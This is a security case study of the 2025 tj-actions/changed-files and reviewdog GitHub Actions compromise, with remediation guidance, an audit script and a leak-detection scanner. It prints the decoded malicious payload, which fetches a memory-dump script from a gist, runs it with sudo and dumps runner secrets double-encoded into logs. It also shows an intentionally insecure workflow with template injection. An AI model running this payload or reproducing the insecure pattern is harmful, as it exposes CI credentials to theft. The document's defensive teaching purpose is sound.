Case study: the tj-actions/changed-files compromise (CVE-2025-30066)

On 14 March 2025, tj-actions/changed-files, a GitHub Action that lists the files a pull request or push changed, began printing CI secrets into workflow logs. About 23,000 repositories referenced it. An attacker holding a personal access token (PAT) for the project's bot account created a commit dressed up as a Renovate dependency update and moved nearly every existing version tag, v1 through v45.0.7, to point at it. Every workflow that referenced the action by tag ran that commit on its next run. Workflows pinned to a full commit SHA kept running the code they had chosen.

The bot token was the last link in a chain. Palo Alto Networks Unit 42 traced it to a pull_request_target workflow in a SpotBugs repository that leaked a maintainer's PAT in December 2024. In March 2025 the attacker used that PAT to steal a second one that could push to reviewdog, pointed the v1 tag of reviewdog/action-setup at malicious code for under two hours (CVE-2025-30154), and caught the tj-actions bot token when tj-actions' own CI ran an action built on reviewdog. Unit 42 also found that the first target was a single Coinbase repository, less than two hours before the mass retagging.

All times are UTC. The SpotBugs and Coinbase steps come from Unit 42's investigation. The reviewdog maintainer separately confirmed that the token used against reviewdog was stolen in an attack on another project, and GitHub support supplied the tag's reflog, which identified the account that moved v1.

Commit 0e58ed8 changed the action's bundled index.js to run a base64-encoded shell script. On Linux runners the script downloaded a public Python memory-dump tool from a GitHub gist, ran it with sudo against the Runner.Worker process, kept every entry the runner had marked as a secret, and printed the result to the job log. GitHub's advisory and NVD both describe this code; the decoded script is below.

Two choices made it work. The runner holds the job's secrets in memory in a recognizable JSON shape, so one grep found every secret the job could use, not only those passed to this step. And the output was base64-encoded twice. Runners redact only exact matches of known secret values, so an encoded copy passes straight through. In a public repository anyone can read the logs, so the attacker needed no server of their own; in a private one the secrets were exposed to everyone with read access.

# Decoded from the base64 string added to index.js in commit 0e58ed8.
# Shown for recognition only; the gist it fetched has been removed.
if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

A Git tag is a name for a commit, and anyone who can push to the repository can point it elsewhere. Moving tags is also how many maintainers ship minor updates, so a moved v45 looks normal to a workflow. GitHub's guidance is that a full-length commit SHA is the only way to use an action as an immutable release. The malicious code did not even need to sit on a branch: a commit pushed to a fork can be fetched by its SHA through the parent repository, and Unit 42 found the attacker staged payloads in throwaway forks that were later deleted.

The moves left little public trace. The reviewdog maintainer found that v1 had been overwritten with a plain git push using a contributor's PAT, which does not appear in the repository's public activity view. Git push events are recorded only for GitHub Enterprise accounts; on Enterprise Cloud they are available through the REST API, streaming or export and are kept for seven days.

reviewdog also exposed the limit of pinning. Its composite actions, such as action-shellcheck, called reviewdog/action-setup@v1 internally, so they ran the malicious code whatever their own pin was. A pin protects only the reference you write. Read the action.yml of every composite action you use and prefer actions that pin their own dependencies, as reviewdog now does. Automated pin updates can also follow a moved tag: Endor Labs found a few dozen workflows pinned to the malicious commit itself.

This pattern was common in March 2025. The action is referenced by tag. The job has no permissions block, so in older repositories it still receives a write-scoped GITHUB_TOKEN. A publish token sits in the same job, where any step's code can read it from the runner's memory. The changed-file list is expanded straight into a shell command; the action escapes file names by default, but passing outputs through env: does not depend on that.

# As many workflows were in March 2025: a mutable tag and a secret in the same job
name: lint-changed
on: pull_request
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - id: changed
        uses: tj-actions/changed-files@v45   # a tag: whoever can push to the repo can move it
      - run: ./scripts/lint.sh ${{ steps.changed.outputs.all_changed_files }}
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}   # in memory for every step in this job

The fixed job pins both actions to full commit SHAs with the version in a comment, so Dependabot can still propose updates. permissions: {} removes every scope at workflow level and the job asks only for read access. The publish token is gone: publishing belongs in a separate workflow that runs no third-party code, ideally through trusted publishing rather than a stored token. The file list reaches the shell through an environment variable instead of template expansion; in the lab at /labs/actions-injection/ you repair a linter that must flag the first and accept the second.

zizmor 1.30.1 reports unpinned references, excessive permissions, persisted checkout credentials and template injection in the first workflow and nothing in the second. Pinning changes how you hear about fixes: Dependabot raises no alerts for actions pinned to a SHA, so let Dependabot version updates move your pins and review each bump before merging.

name: lint-changed
on: pull_request
permissions: {}
jobs:
  lint:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: read   # changed-files can list PR files through the API
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false
      - id: changed
        uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
      - name: Lint changed files
        env:
          CHANGED: ${{ steps.changed.outputs.all_changed_files }}
        run: |
          read -ra files <<< "$CHANGED"
          ./scripts/lint.sh "${files[@]}"

The 23,000 figure counts repositories that referenced the action, not victims. Endor Labs found 5,416 repositories that referenced it in workflow files; 614 of them ran an affected workflow between 15:00 UTC on 14 March and 15:00 UTC on 15 March, and 218 printed secrets to their logs, under 72 distinct names. Most were GITHUB_TOKEN values, which expire when the job ends, but a few dozen were long-lived Docker Hub, npm and AWS credentials. Endor could see only public repositories; private repositories that ran the code also wrote secrets into their own logs.

reviewdog's exposure was the v1 tag of action-setup for 109 minutes on 11 March, plus every action that called it: action-shellcheck, action-composite-template, action-staticcheck, action-ast-grep and action-typos. Coinbase's agentkit workflow ran a variant aimed at it and leaked a token with write access; Coinbase told Unit 42 the attack caused no damage.

Detection came from outside the project. StepSecurity's Harden-Runner, which records where CI jobs connect, flagged an unexpected call to gist.githubusercontent.com, and its team opened a public issue at 20:52 UTC on 14 March. GitHub published its advisory early on 15 March, revoked the stolen PAT and took the repository offline for about eight hours while the maintainer removed the malicious commit from every tag.

• tj-actions changed the bot account's password, moved it to a passkey, reduced its role, added tag protection, required signed commits and stopped using PATs in the organization.
• reviewdog turned off the automated invitations that gave contributors write access (118 people held it), removed write access from all but a few maintainers, pinned every internal action reference by SHA and rotated its tokens.
• CISA told users to audit runs of tj-actions/changed-files between 12 March 00:00 and 15 March 12:00 UTC and of reviewdog actions between 18:42 and 20:31 UTC on 11 March, look in logs for double-encoded base64 output, and rotate whatever it contained.

Logs are your evidence, and GitHub deletes them after the retention period, 90 days by default. Since October 2026 the runs themselves expire on the same schedule. The script lists every run created in a window and saves each run's log archive with the GitHub CLI. Run it for each affected repository as soon as an advisory lands, store the archives somewhere access-controlled, and only then delete the logs on GitHub that contain secrets.

#!/usr/bin/env bash
# Usage: audit-runs.sh OWNER/REPO [WINDOW]   (WINDOW uses search date syntax)
# Lists the workflow runs created in the exposure window and saves their logs.
set -euo pipefail
repo="$1"
window="${2:-2025-03-14..2025-03-15}"
out="logs/${repo//\//_}"
mkdir -p "$out"
gh api --paginate "repos/$repo/actions/runs?created=$window&per_page=100" \
  --jq '.workflow_runs[] | [.id, .event, .created_at, .name] | @tsv' |
while IFS=$'\t' read -r id event created name; do
  printf '%s  %s  %-12s %s\n' "$created" "$id" "$event" "$name"
  gh api "repos/$repo/actions/runs/$id/logs" > "$out/$id.zip" 2>/dev/null ||
    { rm -f "$out/$id.zip"; echo "  no logs (expired or deleted)"; }
done

This scanner reverses the payload's encoding. It looks for long base64 strings, decodes them once and then twice, and reports the names of entries in the runner's secret format, never the values. Against synthetic logs built with the payload's exact grep and base64 pipeline it reported the three planted names, and it reported nothing on real run logs or on lines holding other base64 data. Treat every name it prints as compromised and rotate it at the issuer, then check the issuer's logs for use.

"""Find secret dumps like the tj-actions payload's in GitHub Actions run logs.

Usage: python3 find_leaks.py logs/   (log .zip archives, .txt files or folders)
Reports the file, line and secret NAMES to rotate. It never prints values.
"""
import base64
import binascii
import re
import sys
import zipfile
from pathlib import Path

BLOB = re.compile(rb"[A-Za-z0-9+/]{40,}={0,2}")
ENTRY = re.compile(rb'"([^"]+)":\{"value":"[^"]*","isSecret":true\}')


def b64(data):
    try:
        return base64.b64decode(data.strip(), validate=True)
    except (binascii.Error, ValueError):
        return None


def secret_names(blob):
    once = b64(blob)
    twice = b64(once) if once else None
    for text in (once, twice):  # the 2025 payloads encoded twice
        if text and (names := ENTRY.findall(text)):
            return sorted({n.decode() for n in names})
    return []


def scan(label, data):
    for number, line in enumerate(data.splitlines(), 1):
        for blob in BLOB.findall(line):
            if names := secret_names(blob):
                print(f"{label}:{number}: rotate {', '.join(names)}")


def files(path):
    if path.is_dir():
        yield from sorted(p for p in path.rglob("*") if p.is_file())
    else:
        yield path


for arg in sys.argv[1:]:
    for path in files(Path(arg)):
        if zipfile.is_zipfile(path):
            with zipfile.ZipFile(path) as archive:
                for member in archive.namelist():
                    scan(f"{path}!{member}", archive.read(member))
        else:
            scan(str(path), path.read_bytes())

The SSDF column names NIST SP 800-218 version 1.1 practices and tasks. Most apply to anyone who runs third-party actions; the last rows apply to anyone who publishes one.

Every link in this chain was a long-lived credential sitting where untrusted code could reach it. The controls below break the chain at different points, so use several.

• Pin every third-party action to a full commit SHA, enforce it with the allowed-actions policy, and review automated pin bumps instead of merging them blindly; /domains/supply-chain/ci-cd/github-actions-hardening/ covers the settings.
• Read what a composite action calls, and favor actions that pin their own dependencies.
• Keep personal access tokens out of CI. Use GITHUB_TOKEN with per-job permissions, GitHub App installation tokens, or OIDC for cloud and registry access.
• Never run pull request code under pull_request_target; this chain started there, and /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ shows the safe split.
• Keep jobs that run third-party code apart from jobs that hold publish or deploy credentials.
• Watch where runners connect. A CI job that suddenly reaches a new host was the earliest signal here.
• If you publish an action, turn on immutable releases and a tag ruleset that blocks updates and deletions.
• After an incident, revoke all exposed credentials at once. A staggered rotation let an attacker back into Trivy in 2026.
• The same failure, a mutable download running with CI secrets, hit Codecov's Bash Uploader in 2021: /domains/supply-chain/ci-cd/case-study-codecov/.

On 19 March 2026 an attacker force-pushed 76 of the 77 version tags of aquasecurity/trivy-action, and all seven tags of setup-trivy, to code that dumped Runner.Worker memory and sent what it found to attacker infrastructure (CVE-2026-33634). The one tag that held, 0.35.0, belonged to an immutable release. Aqua traced the access to an incident a few weeks earlier, after which credentials had been rotated in stages rather than all at once. The FBI attributes the Trivy compromise to a criminal group it calls TeamPCP. In May 2026 the TanStack npm compromise reused the same memory-dump script to steal an OIDC publishing token: /domains/supply-chain/dependencies/case-study-shai-hulud/.

GitHub has added controls since 2025. Organizations can require SHA pinning and block named actions (August 2025), immutable releases lock tags (October 2025), suspected malicious workflows in public repositories are held for approval (July 2026), and from 2 November 2026 a default rule blocks pull_request_target in public repositories that have no event policy of their own. Workflow-level dependency locking, which would also pin the actions nested inside composite actions, is on GitHub's 2026 Actions security roadmap. Pinning enforcement and immutable releases are opt-in, so check that yours are on.

The public record does not establish who carried out the 2025 attack. The chain from SpotBugs to reviewdog to tj-actions comes from Unit 42's investigation, partly confirmed by the reviewdog maintainer and by the tag reflog GitHub supplied; no single first-party postmortem covers every step. Endor Labs' counts cover public repositories only, so how many private repositories ran the payload, and whether any secret printed to a log was later used, is not known. Coinbase's statement that the attack caused no damage is Coinbase's, as reported by Unit 42. The FBI's attribution to TeamPCP concerns the 2026 Trivy compromise, not the 2025 chain.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

1. GitHub Advisory GHSA-mrrh-fwg8-r2c3: tj-actions/changed-files (CVE-2025-30066). 15 March 2025.
2. GitHub Advisory GHSA-qmg3-hpqr-gqvc: reviewdog actions (CVE-2025-30154). 19 March 2025.
3. CISA: Supply chain compromise of tj-actions/changed-files and reviewdog/action-setup (rev. 26 March 2025)
4. tj-actions/changed-files issue #2463: incident report and maintainer response
5. reviewdog issue #2079: maintainer security advisory and root-cause updates
6. Unit 42: GitHub Actions supply chain attack, root cause via SpotBugs (updated 2 April 2025)
7. StepSecurity: Harden-Runner detection of the tj-actions/changed-files compromise
8. Endor Labs: blast radius of the tj-actions/changed-files attack
9. Aqua Security advisory GHSA-69fq-xp46-6x23: trivy-action and setup-trivy tags hijacked (CVE-2026-33634)
10. FBI FLASH-20260702-01: Cyber criminal group TeamPCP (Trivy and related compromises). 2 July 2026.
11. GitHub: What's coming to our GitHub Actions 2026 security roadmap. 26 March 2026.
12. GitHub Changelog: Workflow execution protections in GitHub Actions generally available. 17 September 2026.
13. OWASP Top 10 CI/CD Security Risks: CICD-SEC-8 Ungoverned Usage of 3rd Party Services. v1.0 (2022).

Reference information

Tags

Secrets managementSupply chain attacksCI/CD securityLogging and detectionIncident response

SDLC phase

DevelopmentReleaseMaintenance

Role

DevelopersAppSec engineersPlatform engineers and SREs

CAPEC attack patterns

• CAPEC-538 at MITRE
• CAPEC-439 at MITRE

Download this guide as Markdown

Continue exploring